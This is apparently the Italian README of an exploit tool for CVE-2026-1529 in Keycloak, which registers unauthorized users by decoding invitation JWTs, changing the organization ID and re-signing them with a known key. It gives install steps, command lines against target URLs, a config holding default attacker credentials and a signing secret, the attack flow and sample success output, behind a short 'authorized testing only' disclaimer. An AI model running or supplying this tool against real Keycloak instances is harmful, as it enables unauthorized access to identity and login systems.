Strumento Exploit CVE-2026-1529 per Keycloak

CVE-2026-1529: Keycloak - Registrazione non autorizzata di organizzazioni tramite una validazione impropria del token di invito

⚠️ AVVISO: Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.

🎯 Panoramica

Questo strumento dimostra una vulnerabilità critica in Keycloak (CVE-2026-1529) che consente la registrazione non autorizzata di organizzazioni tramite una validazione impropria del token di invito JWT. L'exploit manipola i token di invito per ottenere accesso non autorizzato alle istanze Keycloak.

Dettagli della Vulnerabilità:

ID CVE: CVE-2026-1529
Gravità: Critica
Vettore di Attacco: Rete
Complessità dell'Attacco: Bassa
Sistemi Interessati: Istanze Keycloak con funzionalità di invito alle organizzazioni

✨ Funzionalità

✅ Rilevamento automatico della vulnerabilità
✅ Manipolazione del token JWT
✅ Registrazione utente automatizzata
✅ Verifica del login
✅ Report dettagliati dell'exploit
✅ Parametri configurabili
✅ Supporto per logging di debug
✅ Client HTTP con multi-retry

📦 Prerequisiti

Python 3.7 o superiore
pip (gestore di pacchetti Python)
Ambiente virtuale (consigliato)
Istanza Keycloak di destinazione (solo test autorizzati)

🚀 Installazione

Metodo 1: Clonazione del Repository

# Clona il repository
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# Crea l'ambiente virtuale
python3 -m venv venv
source venv/bin/activate  # Su Windows: venv\Scripts\activate

# Installa le dipendenze
pip install -r requirements.txt

Metodo 2: Configurazione Manuale

# Crea la struttura delle directory
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# Scarica i file dalle release o copiali manualmente
# Poi installa le dipendenze
pip install requests urllib3 PyJWT

Struttura dei File

keycloak-exploit/
├── keycloak-exploit.py           # Script principale dell'exploit
├── requirements.txt              # Dipendenze Python
├── README.md                     # Questo file
├── config/
│   └── default_config.json       # File di configurazione
├── utils/
│   ├── __init__.py              # Inizializzatore del pacchetto
│   ├── http_utils.py            # Utility client HTTP
│   ├── jwt_utils.py             # Manipolazione JWT
│   └── crypto_utils.py          # Utility crittografiche
├── logs/                         # Log generati automaticamente
└── output/
    └── reports/                  # Report dell'exploit

💻 Utilizzo

Utilizzo Base

python3 keycloak-exploit.py https://target-keycloak.com

Opzioni Avanzate

# Con token di invito personalizzato
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# Con ID organizzazione personalizzato
python3 keycloak-exploit.py -o custom_org_id https://target.com

# Con file di configurazione personalizzato
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# Abilita il logging di debug
python3 keycloak-exploit.py -d https://target.com

# Mostra l'aiuto
python3 keycloak-exploit.py -h

# Mostra la versione
python3 keycloak-exploit.py -v

Argomenti della Riga di Comando

Argomento	Breve	Descrizione
`target`	-	URL Keycloak di destinazione (obbligatorio)
`--token`	`-t`	Token di invito personalizzato
`--org-id`	`-o`	ID organizzazione personalizzato
`--config`	`-c`	Percorso del file di configurazione
`--debug`	`-d`	Abilita il logging di debug
`--version`	`-v`	Mostra le informazioni sulla versione
`--help`	`-h`	Mostra il messaggio di aiuto

⚙️ Configurazione

Modifica config/default_config.json per personalizzare i parametri dell'exploit:

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

Opzioni di Configurazione

Sezione	Parametro	Descrizione	Predefinito
`exploit`	`default_username`	Nome utente per la registrazione	`admin_user_2026`
`exploit`	`default_password`	Password per la registrazione	`KeycloakCVE2026!`
`exploit`	`default_email`	Email per la registrazione	`[email protected]`
`exploit`	`timeout`	Timeout richiesta HTTP (secondi)	`30`
`exploit`	`max_retries`	Numero massimo di retry HTTP	`3`
`jwt`	`algorithm`	Algoritmo di firma JWT	`HS256`
`jwt`	`secret_key`	Chiave segreta JWT	Personalizzata
`jwt`	`token_expiry`	Scadenza del token (secondi)	`3600`

🔧 Come Funziona

L'exploit funziona nei seguenti passaggi:

Verifica della Vulnerabilità
- Si connette all'istanza Keycloak di destinazione
- Rileva la versione di Keycloak
- Testa gli endpoint delle organizzazioni
Generazione/Manipolazione del Token
- Genera o accetta il token di invito
- Decodifica il token JWT
- Manipola l'ID dell'organizzazione nel payload
- Ri-firma il token con la chiave nota
Registrazione Utente
- Invia la registrazione con il token manipolato
- Bypassa la validazione dell'organizzazione
- Crea un account utente non autorizzato
Verifica del Login
- Testa il login con le credenziali create
- Genera un token di accesso
- Fornisce l'URL di login
Generazione del Report
- Crea un report dettagliato dell'exploit
- Salva in output/reports/
- Include tutti i dettagli tecnici

Diagramma del Flusso di Attacco

┌─────────────────┐
│  Verifica Target│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Gen/Ottieni    │
│  Token          │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Manipolazione   │
│ Token           │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Registrazione   │
│ Utente          │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Test Login     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Gen. Report    │
└─────────────────┘

📊 Output

Output di Exploit Riuscito

============================================================
RISULTATI EXPLOIT CVE-2026-1529
============================================================
✓ Il target è vulnerabile a CVE-2026-1529

🎯 EXPLOIT RIUSCITO!
Nome utente: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Link di Login: https://target.com/realms/master/account

📄 Report salvato in: output/reports/exploit_report_20260211_050507.txt

CVE-2026-1529

Più Popolari